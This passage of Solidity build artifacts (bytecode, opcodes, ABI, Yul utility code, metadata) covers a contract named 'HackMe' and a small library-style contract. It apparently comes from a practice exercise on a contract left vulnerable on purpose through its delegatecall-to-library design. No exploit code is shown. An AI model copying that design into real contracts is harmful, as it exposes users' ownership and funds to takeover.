PUSH2 0x2C4 JUMP JUMPDEST SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH1 0x0 PUSH1 0x20 DUP3 DUP5 SUB SLT ISZERO PUSH2 0x306 JUMPI PUSH2 0x305 PUSH2 0x2BF JUMP JUMPDEST JUMPDEST PUSH1 0x0 PUSH2 0x314 DUP5 DUP3 DUP6 ADD PUSH2 0x2DB JUMP JUMPDEST SWAP2 POP POP SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH1 0x0 DUP2 MLOAD SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH1 0x0 DUP2 SWAP1 POP SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH1 0x0 JUMPDEST DUP4 DUP2 LT ISZERO PUSH2 0x351 JUMPI DUP1 DUP3 ADD MLOAD DUP2 DUP5 ADD MSTORE PUSH1 0x20 DUP2 ADD SWAP1 POP PUSH2 0x336 JUMP JUMPDEST DUP4 DUP2 GT ISZERO PUSH2 0x360 JUMPI PUSH1 0x0 DUP5 DUP5 ADD MSTORE JUMPDEST POP POP POP POP JUMP JUMPDEST PUSH1 0x0 PUSH2 0x371 DUP3 PUSH2 0x31D JUMP JUMPDEST PUSH2 0x37B DUP2 DUP6 PUSH2 0x328 JUMP JUMPDEST SWAP4 POP PUSH2 0x38B DUP2 DUP6 PUSH1 0x20 DUP7 ADD PUSH2 0x333 JUMP JUMPDEST DUP1 DUP5 ADD SWAP2 POP POP SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH1 0x0 PUSH2 0x3A3 DUP3 DUP5 PUSH2 0x366 JUMP JUMPDEST SWAP2 POP DUP2 SWAP1 POP SWAP3 SWAP2 POP POP JUMP INVALID LOG2 PUSH5 0x6970667358 0x22 SLT KECCAK256 SHL 0xE1 SSTORE 0xD7 0xE9 0x1F DELEGATECALL DUP1 EXTCODECOPY SGT 0x1F 0xAE SWAP14 0xEF 0xF CALLDATASIZE ISZERO SWAP2 SWAP1 0x27 0x1E PUSH17 0xB83ECDCA3A14BBA7CFAC64736F6C634300 ADDMOD 0xC STOP CALLER ",
"sourceMap": "183:317:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;229:20;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;205:18;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;255:22;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;371:127;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;229:20;;;;;;;;;;;;;:::o;205:18::-;;;;;;;;;;;;:::o;255:22::-;;;;:::o;371:127::-;420:3;;;;;;;;;;:16;;485:4;437:53;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;420:71;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;371:127;:::o;7:126:1:-;44:7;84:42;77:5;73:54;62:65;;7:126;;;:::o;139:96::-;176:7;205:24;223:5;205:24;:::i;:::-;194:35;;139:96;;;:::o;241:118::-;328:24;346:5;328:24;:::i;:::-;323:3;316:37;241:118;;:::o;365:222::-;458:4;496:2;485:9;481:18;473:26;;509:71;577:1;566:9;562:17;553:6;509:71;:::i;:::-;365:222;;;;:::o;593:77::-;630:7;659:5;648:16;;593:77;;;:::o;676:118::-;763:24;781:5;763:24;:::i;:::-;758:3;751:37;676:118;;:::o;800:222::-;893:4;931:2;920:9;916:18;908:26;;944:71;1012:1;1001:9;997:17;988:6;944:71;:::i;:::-;800:222;;;;:::o;1109:117::-;1218:1;1215;1208:12;1355:122;1428:24;1446:5;1428:24;:::i;:::-;1421:5;1418:35;1408:63;;1467:1;1464;1457:12;1408:63;1355:122;:::o;1483:139::-;1529:5;1567:6;1554:20;1545:29;;1583:33;1610:5;1583:33;:::i;:::-;1483:139;;;;:::o;1628:329::-;1687:6;1736:2;1724:9;1715:7;1711:23;1707:32;1704:119;;;1742:79;;:::i;:::-;1704:119;1862:1;1887:53;1932:7;1923:6;1912:9;1908:22;1887:53;:::i;:::-;1877:63;;1833:117;1628:329;;;;:::o;1963:98::-;2014:6;2048:5;2042:12;2032:22;;1963:98;;;:::o;2067:147::-;2168:11;2205:3;2190:18;;2067:147;;;;:::o;2220:307::-;2288:1;2298:113;2312:6;2309:1;2306:13;2298:113;;;2397:1;2392:3;2388:11;2382:18;2378:1;2373:3;2369:11;2362:39;2334:2;2331:1;2327:10;2322:15;;2298:113;;;2429:6;2426:1;2423:13;2420:101;;;2509:1;2500:6;2495:3;2491:16;2484:27;2420:101;2269:258;2220:307;;;:::o;2533:373::-;2637:3;2665:38;2697:5;2665:38;:::i;:::-;2719:88;2800:6;2795:3;2719:88;:::i;:::-;2712:95;;2816:52;2861:6;2856:3;2849:4;2842:5;2838:16;2816:52;:::i;:::-;2893:6;2888:3;2884:16;2877:23;;2641:265;2533:373;;;;:::o;2912:271::-;3042:3;3064:93;3153:3;3144:6;3064:93;:::i;:::-;3057:100;;3174:3;3167:10;;2912:271;;;;:::o"
},
"gasEstimates": {
"creation": {
"codeDepositCost": "199200",
"executionCost": "infinite",
"totalCost": "infinite"
},
"external": {
"doSomething(uint256)": "infinite",
"lib()": "2511",
"owner()": "2492",
"someNumber()": "2451"
}
},
"methodIdentifiers": {
"doSomething(uint256)": "a6b206bf",
"lib()": "92801230",
"owner()": "8da5cb5b",
"someNumber()": "931c9b99"
}
},
"abi": [
{
"inputs": [
{
"internalType": "address",
"name": "_lib",
"type": "address"
}
],
"stateMutability": "nonpayable",
"type": "constructor"
},
{
"inputs": [
{
"internalType": "uint256",
"name": "_num",
"type": "uint256"
}
],
"name": "doSomething",
"outputs": [],
"stateMutability": "nonpayable",
"type": "function"
},
{
"inputs": [],
"name": "lib",
"outputs": [
{
"internalType": "address",
"name": "",
"type": "address"
}
],
"stateMutability": "view",
"type": "function"
},
{
"inputs": [],
"name": "owner",
"outputs": [
{
"internalType": "address",
"name": "",
"type": "address"
}
],
"stateMutability": "view",
"type": "function"
},
{
"inputs": [],
"name": "someNumber",
"outputs": [
{
"internalType": "uint256",
"name": "",
"type": "uint256"
}
],
"stateMutability": "view",
"type": "function"
}
]
}
{
"compiler": {
"version": "0.8.12+commit.f00d7308"
},
"language": "Solidity",
"output": {
"abi": [
{
"inputs": [
{
"internalType": "address",
"name": "_lib",
"type": "address"
}
],
"stateMutability": "nonpayable",
"type": "constructor"
},
{
"inputs": [
{
"internalType": "uint256",
"name": "_num",
"type": "uint256"
}
],
"name": "doSomething",
"outputs": [],
"stateMutability": "nonpayable",
"type": "function"
},
{
"inputs": [],
"name": "lib",
"outputs": [
{
"internalType": "address",
"name": "",
"type": "address"
}
],
"stateMutability": "view",
"type": "function"
},
{
"inputs": [],
"name": "owner",
"outputs": [
{
"internalType": "address",
"name": "",
"type": "address"
}
],
"stateMutability": "view",
"type": "function"
},
{
"inputs": [],
"name": "someNumber",
"outputs": [
{
"internalType": "uint256",
"name": "",
"type": "uint256"
}
],
"stateMutability": "view",
"type": "function"
}
],
"devdoc": {
"kind": "dev",
"methods": {},
"version": 1
},
"userdoc": {
"kind": "user",
"methods": {},
"version": 1
}
},
"settings": {
"compilationTarget": {
"contracts/HackMe2.sol": "HackMe"
},
"evmVersion": "london",
"libraries": {},
"metadata": {
"bytecodeHash": "ipfs"
},
"optimizer": {
"enabled": false,
"runs": 200
},
"remappings": []
},
"sources": {
"contracts/HackMe2.sol": {
"keccak256": "0x177c48b8e3b56fca711f3fda1b3aa49d6a3c002a4202221a57a7e353a3df376d",
"license": "MIT",
"urls": [
"bzz-raw://03a19c4b0e7e76acc0295faa0002c5e6e1830aacf629afcc8e06f4a67e71049f",
"dweb:/ipfs/QmdEGuNqdNzBmWePmGqnJSTraQWAwEgR7FpijbwP8dvTyJ"
]
}
},
"version": 1
}
{
"deploy": {
"VM:-": {
"linkReferences": {},
"autoDeployLib": true
},
"main:1": {
"linkReferences": {},
"autoDeployLib": true
},
"ropsten:3": {
"linkReferences": {},
"autoDeployLib": true
},
"rinkeby:4": {
"linkReferences": {},
"autoDeployLib": true
},
"kovan:42": {
"linkReferences": {},
"autoDeployLib": true
},
"görli:5": {
"linkReferences": {},
"autoDeployLib": true
},
"Custom": {
"linkReferences": {},
"autoDeployLib": true
}
},
"data": {
"bytecode": {
"functionDebugData": {},
"generatedSources": [],
"linkReferences": {},
"object": "608060405234801561001057600080fd5b50610133806100206000396000f3fe6080604052348015600f57600080fd5b506004361060325760003560e01c8063931c9b99146037578063a6b206bf146051575b600080fd5b603d6069565b604051604891906090565b60405180910390f35b606760048036038101906063919060d5565b606f565b005b60005481565b8060008190555050565b6000819050919050565b608a816079565b82525050565b600060208201905060a360008301846083565b92915050565b600080fd5b60b5816079565b811460bf57600080fd5b50565b60008135905060cf8160ae565b92915050565b60006020828403121560e85760e760a9565b5b600060f48482850160c2565b9150509291505056fea2646970667358221220c25a64ceb38d584bc3af5e0582c45ef7ff218e3b9adbdd2544da883937023e4364736f6c634300080c0033",
"opcodes": "PUSH1 0x80 PUSH1 0x40 MSTORE CALLVALUE DUP1 ISZERO PUSH2 0x10 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP PUSH2 0x133 DUP1 PUSH2 0x20 PUSH1 0x0 CODECOPY PUSH1 0x0 RETURN INVALID PUSH1 0x80 PUSH1 0x40 MSTORE CALLVALUE DUP1 ISZERO PUSH1 0xF JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP PUSH1 0x4 CALLDATASIZE LT PUSH1 0x32 JUMPI PUSH1 0x0 CALLDATALOAD PUSH1 0xE0 SHR DUP1 PUSH4 0x931C9B99 EQ PUSH1 0x37 JUMPI DUP1 PUSH4 0xA6B206BF EQ PUSH1 0x51 JUMPI JUMPDEST PUSH1 0x0 DUP1 REVERT JUMPDEST PUSH1 0x3D PUSH1 0x69 JUMP JUMPDEST PUSH1 0x40 MLOAD PUSH1 0x48 SWAP2 SWAP1 PUSH1 0x90 JUMP JUMPDEST PUSH1 0x40 MLOAD DUP1 SWAP2 SUB SWAP1 RETURN JUMPDEST PUSH1 0x67 PUSH1 0x4 DUP1 CALLDATASIZE SUB DUP2 ADD SWAP1 PUSH1 0x63 SWAP2 SWAP1 PUSH1 0xD5 JUMP JUMPDEST PUSH1 0x6F JUMP JUMPDEST STOP JUMPDEST PUSH1 0x0 SLOAD DUP2 JUMP JUMPDEST DUP1 PUSH1 0x0 DUP2 SWAP1 SSTORE POP POP JUMP JUMPDEST PUSH1 0x0 DUP2 SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH1 0x8A DUP2 PUSH1 0x79 JUMP JUMPDEST DUP3 MSTORE POP POP JUMP JUMPDEST PUSH1 0x0 PUSH1 0x20 DUP3 ADD SWAP1 POP PUSH1 0xA3 PUSH1 0x0 DUP4 ADD DUP5 PUSH1 0x83 JUMP JUMPDEST SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH1 0x0 DUP1 REVERT JUMPDEST PUSH1 0xB5 DUP2 PUSH1 0x79 JUMP JUMPDEST DUP2 EQ PUSH1 0xBF JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP JUMP JUMPDEST PUSH1 0x0 DUP2 CALLDATALOAD SWAP1 POP PUSH1 0xCF DUP2 PUSH1 0xAE JUMP JUMPDEST SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH1 0x0 PUSH1 0x20 DUP3 DUP5 SUB SLT ISZERO PUSH1 0xE8 JUMPI PUSH1 0xE7 PUSH1 0xA9 JUMP JUMPDEST JUMPDEST PUSH1 0x0 PUSH1 0xF4 DUP5 DUP3 DUP6 ADD PUSH1 0xC2 JUMP JUMPDEST SWAP2 POP POP SWAP3 SWAP2 POP POP JUMP INVALID LOG2 PUSH5 0x6970667358 0x22 SLT KECCAK256 0xC2 GAS PUSH5 0xCEB38D584B 0xC3 0xAF 0x5E SDIV DUP3 0xC4 0x5E 0xF7 SELFDESTRUCT 0x21 DUP15 EXTCODESIZE SWAP11 0xDB 0xDD 0x25 DIFFICULTY 0xDA DUP9 CODECOPY CALLDATACOPY MUL RETURNDATACOPY NUMBER PUSH5 0x736F6C6343 STOP ADDMOD 0xC STOP CALLER ",
"sourceMap": "58:123:0:-:0;;;;;;;;;;;;;;;;;;;"
},
"deployedBytecode": {
"functionDebugData": {
"@doSomething_13": {
"entryPoint": 111,
"id": 13,
"parameterSlots": 1,
"returnSlots": 0
},
"@someNumber_3": {
"entryPoint": 105,
"id": 3,
"parameterSlots": 0,
"returnSlots": 0
},
"abi_decode_t_uint256": {
"entryPoint": 194,
"id": null,
"parameterSlots": 2,
"returnSlots": 1
},
"abi_decode_tuple_t_uint256": {
"entryPoint": 213,
"id": null,
"parameterSlots": 2,
"returnSlots": 1
},
"abi_encode_t_uint256_to_t_uint256_fromStack": {
"entryPoint": 131,
"id": null,
"parameterSlots": 2,
"returnSlots": 0
},
"abi_encode_tuple_t_uint256__to_t_uint256__fromStack_reversed": {
"entryPoint": 144,
"id": null,
"parameterSlots": 2,
"returnSlots": 1
},
"allocate_unbounded": {
"entryPoint": null,
"id": null,
"parameterSlots": 0,
"returnSlots": 1
},
"cleanup_t_uint256": {
"entryPoint": 121,
"id": null,
"parameterSlots": 1,
"returnSlots": 1
},
"revert_error_c1322bf8034eace5e0b5c7295db60986aa89aae5e0ea0873e4689e076861a5db": {
"entryPoint": null,
"id": null,
"parameterSlots": 0,
"returnSlots": 0
},
"revert_error_dbdddcbe895c83990c08b3492a0e83918d802a52331272ac6fdb6a7c4aea3b1b": {
"entryPoint": 169,
"id": null,
"parameterSlots": 0,
"returnSlots": 0
},
"validator_revert_t_uint256": {
"entryPoint": 174,
"id": null,
"parameterSlots": 1,
"returnSlots": 0
}
},
"generatedSources": [
{
"ast": {
"nodeType": "YulBlock",
"src": "0:1374:1",
"statements": [
{
"body": {
"nodeType": "YulBlock",
"src": "52:32:1",
"statements": [
{
"nodeType": "YulAssignment",
"src": "62:16:1",
"value": {
"name": "value",
"nodeType": "YulIdentifier",
"src": "73:5:1"
},
"variableNames": [
{
"name": "cleaned",
"nodeType": "YulIdentifier",
"src": "62:7:1"
}
]
}
]
},
"name": "cleanup_t_uint256",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "value",
"nodeType": "YulTypedName",
"src": "34:5:1",
"type": ""
}
],
"returnVariables": [
{
"name": "cleaned",
"nodeType": "YulTypedName",
"src": "44:7:1",
"type": ""
}
],
"src": "7:77:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "155:53:1",
"statements": [
{
"expression": {
"arguments": [
{
"name": "pos",
"nodeType": "YulIdentifier",
"src": "172:3:1"
},
{
"arguments": [
{
"name": "value",
"nodeType": "YulIdentifier",
"src": "195:5:1"
}
],
"functionName": {
"name": "cleanup_t_uint256",
"nodeType": "YulIdentifier",
"src": "177:17:1"
},
"nodeType": "YulFunctionCall",
"src": "177:24:1"
}
],
"functionName": {
"name": "mstore",
"nodeType": "YulIdentifier",
"src": "165:6:1"
},
"nodeType": "YulFunctionCall",
"src": "165:37:1"
},
"nodeType": "YulExpressionStatement",
"src": "165:37:1"
}
]
},
"name": "abi_encode_t_uint256_to_t_uint256_fromStack",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "value",
"nodeType": "YulTypedName",
"src": "143:5:1",
"type": ""
},
{
"name": "pos",
"nodeType": "YulTypedName",
"src": "150:3:1",
"type": ""
}
],
"src": "90:118:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "312:124:1",
"statements": [
{
"nodeType": "YulAssignment",
"src": "322:26:1",
"value": {
"arguments": [
{
"name": "headStart",
"nodeType": "YulIdentifier",
"src": "334:9:1"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "345:2:1",
"type": "",
"value": "32"
}
],
"functionName": {
"name": "add",
"nodeType": "YulIdentifier",
"src": "330:3:1"
},
"nodeType": "YulFunctionCall",
"src": "330:18:1"
},
"variableNames": [
{
"name": "tail",
"nodeType": "YulIdentifier",
"src": "322:4:1"
}
]
},
{
"expression": {
"arguments": [
{
"name": "value0",
"nodeType": "YulIdentifier",
"src": "402:6:1"
},
{
"arguments": [
{
"name": "headStart",
"nodeType": "YulIdentifier",
"src": "415:9:1"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "426:1:1",
"type": "",
"value": "0"
}
],
"functionName": {
"name": "add",
"nodeType": "YulIdentifier",
"src": "411:3:1"
},
"nodeType": "YulFunctionCall",
"src": "411:17:1"
}
],
"functionName": {
"name": "abi_encode_t_uint256_to_t_uint256_fromStack",
"nodeType": "YulIdentifier",
"src": "358:43:1"
},
"nodeType": "YulFunctionCall",
"src": "358:71:1"
},
"nodeType": "YulExpressionStatement",
"src": "358:71:1"
}
]
},
"name": "abi_encode_tuple_t_uint256__to_t_uint256__fromStack_reversed",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "headStart",
"nodeType": "YulTypedName",
"src": "284:9:1",
"type": ""
},
{
"name": "value0",
"nodeType": "YulTypedName",
"src": "296:6:1",
"type": ""
}
],
"returnVariables": [
{
"name": "tail",
"nodeType": "YulTypedName",
"src": "307:4:1",
"type": ""
}
],
"src": "214:222:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "482:35:1",
"statements": [
{
"nodeType": "YulAssignment",
"src": "492:19:1",
"value": {
"arguments": [
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "508:2:1",
"type": "",
"value": "64"
}
],
"functionName": {
"name": "mload",
"nodeType": "YulIdentifier",
"src": "502:5:1"
},
"nodeType": "YulFunctionCall",
"src": "502:9:1"
},
"variableNames": [
{
"name": "memPtr",
"nodeType": "YulIdentifier",
"src": "492:6:1"
}
]
}
]
},
"name": "allocate_unbounded",
"nodeType": "YulFunctionDefinition",
"returnVariables": [
{
"name": "memPtr",
"nodeType": "YulTypedName",
"src": "475:6:1",
"type": ""
}
],
"src": "442:75:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "612:28:1",
"statements": [
{
"expression": {
"arguments": [
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "629:1:1",
"type": "",
"value": "0"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "632:1:1",
"type": "",
"value": "0"
}
],
"functionName": {
"name": "revert",
"nodeType": "YulIdentifier",
"src": "622:6:1"
},
"nodeType": "YulFunctionCall",
"src": "622:12:1"
},
"nodeType": "YulExpressionStatement",
"src": "622:12:1"
}
]
},
"name": "revert_error_dbdddcbe895c83990c08b3492a0e83918d802a52331272ac6fdb6a7c4aea3b1b",
"nodeType": "YulFunctionDefinition",
"src": "523:117:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "735:28:1",
"statements": [
{
"expression": {
"arguments": [
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "752:1:1",
"type": "",
"value": "0"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "755:1:1",
"type": "",
"value": "0"
}
],
"functionName": {
"name": "revert",
"nodeType": "YulIdentifier",
"src": "745:6:1"
},
"nodeType": "YulFunctionCall",
"src": "745:12:1"
},
"nodeType": "YulExpressionStatement",
"src": "745:12:1"
}
]
},
"name": "revert_error_c1322bf8034eace5e0b5c7295db60986aa89aae5e0ea0873e4689e076861a5db",
"nodeType": "YulFunctionDefinition",
"src": "646:117:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "812:79:1",
"statements": [
{
"body": {
"nodeType": "YulBlock",
"src": "869:16:1",
"statements": [
{
"expression": {
"arguments": [
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "878:1:1",
"type": "",
"value": "0"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "881:1:1",
"type": "",
"value": "0"
}
],
"functionName": {
"name": "revert",
"nodeType": "YulIdentifier",
"src": "871:6:1"
},
"nodeType": "YulFunctionCall",
"src": "871:12:1"
},
"nodeType": "YulExpressionStatement",
"src": "871:12:1"
}
]
},
"condition": {
"arguments": [
{
"arguments": [
{
"name": "value",
"nodeType": "YulIdentifier",
"src": "835:5:1"
},
{
"arguments": [
{
"name": "value",
"nodeType": "YulIdentifier",
"src": "860:5:1"
}
],
"functionName": {
"name": "cleanup_t_uint256",
"nodeType": "YulIdentifier",
"src": "842:17:1"
},
"nodeType": "YulFunctionCall",
"src": "842:24:1"
}
],
"functionName": {
"name": "eq",
"nodeType": "YulIdentifier",
"src": "832:2:1"
},
"nodeType": "YulFunctionCall",
"src": "832:35:1"
}
],
"functionName": {
"name": "iszero",
"nodeType": "YulIdentifier",
"src": "825:6:1"
},
"nodeType": "YulFunctionCall",
"src": "825:43:1"
},
"nodeType": "YulIf",
"src": "822:63:1"
}
]
},
"name": "validator_revert_t_uint256",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "value",
"nodeType": "YulTypedName",
"src": "805:5:1",
"type": ""
}
],
"src": "769:122:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "949:87:1",
"statements": [
{
"nodeType": "YulAssignment",
"src": "959:29:1",
"value": {
"arguments": [
{
"name": "offset",
"nodeType": "YulIdentifier",
"src": "981:6:1"
}
],
"functionName": {
"name": "calldataload",
"nodeType": "YulIdentifier",
"src": "968:12:1"
},
"nodeType": "YulFunctionCall",
"src": "968:20:1"
},
"variableNames": [
{
"name": "value",
"nodeType": "YulIdentifier",
"src": "959:5:1"
}
]
},
{
"expression": {
"arguments": [
{
"name": "value",
"nodeType": "YulIdentifier",
"src": "1024:5:1"
}
],
"functionName": {
"name": "validator_revert_t_uint256",
"nodeType": "YulIdentifier",
"src": "997:26:1"
},
"nodeType": "YulFunctionCall",
"src": "997:33:1"
},
"nodeType": "YulExpressionStatement",
"src": "997:33:1"
}
]
},
"name": "abi_decode_t_uint256",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "offset",
"nodeType": "YulTypedName",
"src": "927:6:1",
"type": ""
},
{
"name": "end",
"nodeType": "YulTypedName",
"src": "935:3:1",
"type": ""
}
],
"returnVariables": [
{
"name": "value",
"nodeType": "YulTypedName",
"src": "943:5:1",
"type": ""
}
],
"src": "897:139:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "1108:263:1",
"statements": [
{
"body": {
"nodeType": "YulBlock",
"src": "1154:83:1",
"statements": [
{
"expression": {
"arguments": [],
"functionName": {
"name": "revert_error_dbdddcbe895c83990c08b3492a0e83918d802a52331272ac6fdb6a7c4aea3b1b",
"nodeType": "YulIdentifier",
"src": "1156:77:1"
},
"nodeType": "YulFunctionCall",
"src": "1156:79:1"
},
"nodeType": "YulExpressionStatement",
"src": "1156:79:1"
}
]
},
"condition": {
"arguments": [
{
"arguments": [
{
"name": "dataEnd",
"nodeType": "YulIdentifier",
"src": "1129:7:1"
},
{
"name": "headStart",
"nodeType": "YulIdentifier",
"src": "1138:9:1"
}
],
"functionName": {
"name": "sub",
"nodeType": "YulIdentifier",
"src": "1125:3:1"
},
"nodeType": "YulFunctionCall",
"src": "1125:23:1"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "1150:2:1",
"type": "",
"value": "32"
}
],
"functionName": {
"name": "slt",
"nodeType": "YulIdentifier",
"src": "1121:3:1"
},
"nodeType": "YulFunctionCall",
"src": "1121:32:1"
},
"nodeType": "YulIf",
"src": "1118:119:1"
},
{
"nodeType": "YulBlock",
"src": "1247:117:1",
"statements": [
{
"nodeType": "YulVariableDeclaration",
"src": "1262:15:1",
"value": {
"kind": "number",
"nodeType": "YulLiteral",
"src": "1276:1:1",
"type": "",
"value": "0"
},
"variables": [
{
"name": "offset",
"nodeType": "YulTypedName",
"src": "1266:6:1",
"type": ""
}
]
},
{
"nodeType": "YulAssignment",
"src": "1291:63:1",
"value": {
"arguments": [
{
"arguments": [
{
"name": "headStart",
"nodeType": "YulIdentifier",
"src": "1326:9:1"
},
{
"name": "offset",
"nodeType": "YulIdentifier",
"src": "1337:6:1"
}
],
"functionName": {
"name": "add",
"nodeType": "YulIdentifier",
"src": "1322:3:1"
},
"nodeType": "YulFunctionCall",
"src": "1322:22:1"
},
{
"name": "dataEnd",
"nodeType": "YulIdentifier",
"src": "1346:7:1"
}
],
"functionName": {
"name": "abi_decode_t_uint256",
"nodeType": "YulIdentifier",
"src": "1301:20:1"
},
"nodeType": "YulFunctionCall",
"src": "1301:53:1"
},
"variableNames": [
{
"name": "value0",
"nodeType": "YulIdentifier",
"src": "1291:6:1"
}
]
}
]
}
]
},
"name": "abi_decode_tuple_t_uint256",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "headStart",
"nodeType": "YulTypedName",
"src": "1078:9:1",
"type": ""
},
{
"name": "dataEnd",
"nodeType": "YulTypedName",
"src": "1089:7:1",
"type": ""
}
],
"returnVariables": [
{
"name": "value0",
"nodeType": "YulTypedName",
"src": "1101:6:1",
"type": ""
}
],
"src": "1042:329:1"
}
]
},
"contents": "{\n\n function cleanup_t_uint256(value) -> cleaned {\n cleaned := value\n }\n\n function abi_encode_t_uint256_to_t_uint256_fromStack(value, pos) {\n mstore(pos, cleanup_t_uint256(value))\n }\n\n function abi_encode_tuple_t_uint256__to_t_uint256__fromStack_reversed(headStart , value0) -> tail {\n tail := add(headStart, 32)\n\n abi_encode_t_uint256_to_t_uint256_fromStack(value0, add(headStart, 0))\n\n }\n\n function allocate_unbounded() -> memPtr {\n memPtr := mload(64)\n }\n\n function revert_error_dbdddcbe895c83990c08b3492a0e83918d802a52331272ac6fdb6a7c4aea3b1b() {\n revert(0, 0)\n }\n\n function revert_error_c1322bf8034eace5e0b5c7295db60986aa89aae5e0ea0873e4689e076861a5db() {\n revert(0, 0)\n }\n\n function validator_revert_t_uint256(value) {\n if iszero(eq(value, cleanup_t_uint256(value))) { revert(0, 0) }\n }\n\n function abi_decode_t_uint256(offset, end) -> value {\n value := calldataload(offset)\n validator_revert_t_uint256(value)\n }\n\n function abi_decode_tuple_t_uint256(headStart, dataEnd) -> value0 {\n if slt(sub(dataEnd, headStart), 32) { revert_error_dbdddcbe895c83990c08b3492a0e83918d802a52331272ac6fdb6a7c4aea3b1b() }\n\n {\n\n let offset := 0\n\n value0 := abi_decode_t_uint256(add(headStart, offset), dataEnd)\n }\n\n }\n\n}\n",
"id": 1,
"language": "Yul",
"name": "#utility.yul"
}
],
"immutableReferences": {},
"linkReferences": {},
"object": "6080604052348015600f57600080fd5b506004361060325760003560e01c8063931c9b99146037578063a6b206bf146051575b600080fd5b603d6069565b604051604891906090565b60405180910390f35b606760048036038101906063919060d5565b606f565b005b60005481565b8060008190555050565b6000819050919050565b608a816079565b82525050565b600060208201905060a360008301846083565b92915050565b600080fd5b60b5816079565b811460bf57600080fd5b50565b60008135905060cf8160ae565b92915050565b60006020828403121560e85760e760a9565b5b600060f48482850160c2565b9150509291505056fea2646970667358221220c25a64ceb38d584bc3af5e0582c45ef7ff218e3b9adbdd2544da883937023e4364736f6c634300080c0033",
"opcodes": "PUSH1 0x80 PUSH1 0x40 MSTORE CALLVALUE DUP1 ISZERO PUSH1 0xF JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP PUSH1 0x4 CALLDATASIZE LT PUSH1 0x32 JUMPI PUSH1 0x0 CALLDATALOAD PUSH1 0xE0 SHR DUP1 PUSH4 0x931C9B99 EQ PUSH1 0x37 JUMPI DUP1 PUSH4 0xA6B206BF EQ PUSH1 0x51 JUMPI JUMPDEST PUSH1 0x0 DUP1 REVERT JUMPDEST PUSH1 0x3D PUSH1 0x69 JUMP JUMPDEST PUSH1 0x40 MLOAD PUSH1 0x48 SWAP2 SWAP1 PUSH1 0x90 JUMP JUMPDEST PUSH1 0x40 MLOAD DUP1 SWAP2 SUB SWAP1 RETURN JUMPDEST PUSH1 0x67 PUSH1 0x4 DUP1 CALLDATASIZE SUB DUP2 ADD SWAP1 PUSH1 0x63 SWAP2 SWAP1 PUSH1 0xD5 JUMP JUMPDEST PUSH1 0x6F JUMP JUMPDEST STOP JUMPDEST PUSH1 0x0 SLOAD DUP2 JUMP JUMPDEST DUP1 PUSH1 0x0 DUP2 SWAP1 SSTORE POP POP JUMP JUMPDEST PUSH1 0x0 DUP2 SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH1 0x8A DUP2 PUSH1 0x79 JUMP JUMPDEST DUP3 MSTORE POP POP JUMP JUMPDEST PUSH1 0x0 PUSH1 0x20 DUP3 ADD SWAP1 POP PUSH1 0xA3 PUSH1 0x0 DUP4 ADD DUP5 PUSH1 0x83 JUMP JUMPDEST SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH1 0x0 DUP1 REVERT JUMPDEST PUSH1 0xB5 DUP2 PUSH1 0x79 JUMP JUMPDEST DUP2 EQ PUSH1 0xBF JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP JUMP JUMPDEST PUSH1 0x0 DUP2 CALLDATALOAD SWAP1 POP PUSH1 0xCF DUP2 PUSH1 0xAE JUMP JUMPDEST SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH1 0x0 PUSH1 0x20 DUP3 DUP5 SUB SLT ISZERO PUSH1 0xE8 JUMPI PUSH1 0xE7 PUSH1 0xA9 JUMP JUMPDEST JUMPDEST PUSH1 0x0 PUSH1 0xF4 DUP5 DUP3 DUP6 ADD PUSH1 0xC2 JUMP JUMPDEST SWAP2 POP POP SWAP3 SWAP2 POP POP JUMP INVALID LOG2 PUSH5 0x6970667358 0x22 SLT KECCAK256 0xC2 GAS PUSH5 0xCEB38D584B 0xC3 0xAF 0x5E SDIV DUP3 0xC4 0x5E 0xF7 SELFDESTRUCT 0x21 DUP15 EXTCODESIZE SWAP11 0xDB 0xDD 0x25 DIFFICULTY 0xDA DUP9 